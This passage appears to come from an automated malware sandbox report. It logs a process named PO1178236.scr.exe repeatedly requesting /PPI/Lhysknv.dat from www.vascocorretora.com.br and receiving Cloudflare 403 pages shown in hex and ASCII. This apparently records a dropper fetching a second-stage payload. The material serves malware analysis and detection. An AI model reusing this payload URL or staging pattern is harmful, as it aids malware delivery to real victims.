2025-01-09 07:28:40 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:28:40 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 33 64 30 65 65 32 39 65 30 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b63d0ee29e05</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:28:40 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 33 64 30 65 65 32 39 65 30 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b63d0ee29e05',t:'MTczNjQwNzcyMC4wMDAwMDA='};var a=d
2025-01-09 07:28:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49769	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:41 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:41 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2F0Rio9w7FrIdDZepjl70GelvaGmK75W3Iud3YxmpYaJcA3e7W79mtxjGw%2B8jPzyf%2BAJBYWoOvtbRe6f5HfZ%2Bx0Hvh0LTLSWFtXIxg8MCzLpU1zpfnmC5dHOXY9SrK%2FKFv5B6PiWtx4FSYaJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b640dd5a5e7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1672&rtt_var=647&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1665715&cwnd=196&unsent_bytes=0&cid=c5263d2a173dcad6&ts=147&x=0"
2025-01-09 07:28:41 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:41 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:41 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:41 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 34 30 64 64 35 61 35 65 37 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b640dd5a5e7c</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:41 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 34 30 64 64 35 61 35 65 37 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b640dd5a5e7c',t:'MTczNjQwNzcyMS4wMDAwMDA='};v
2025-01-09 07:28:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49770	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:41 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:41 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FkZZkOal9Dyl%2FP8apTGxvffEc8Z9S6eLhFW6bGk5DPWIA8S1EAiXAtWhY0nWnk6nQiyZmrQbixLaBhdDMELAHZlBexLa0uPDq6Ma66lkfDbAG%2FfU3UAtO5UXOyVMAlzYaTLVqRu4cHCR6r1%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b644cf974245-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2180&min_rtt=2178&rtt_var=818&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1340679&cwnd=193&unsent_bytes=0&cid=2c292f6a20cc5e10&ts=154&x=0"
2025-01-09 07:28:41 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:41 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:28:41 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:28:41 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 34 34 63 66 39 37 34 32 34 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b644cf974245</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:28:41 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 34 34 63 66 39 37 34 32 34 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b644cf974245',t:'MTczNjQwNzcyMS4wMDAwMDA='};var
2025-01-09 07:28:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49771	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:42 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:42 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tVeJKSFQQKIXcFAu%2FEo7CUbsWEEmYABSRtpA%2FFCE7kCBHxxJantTXGygFrgP8SBjiTzVou9XmU%2F6czkLgLau0Z92MMbiQ3t8%2Bs8B%2BDTl1SnV1Ln%2FkkAPhUBEuCnIcu%2B2slTAAXddchuTPQSW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b64898a342ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1669&rtt_var=636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1749550&cwnd=252&unsent_bytes=0&cid=217105d744bb984c&ts=127&x=0"
2025-01-09 07:28:42 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:42 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:28:42 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:28:42 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 34 38 39 38 61 33 34 32 63 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 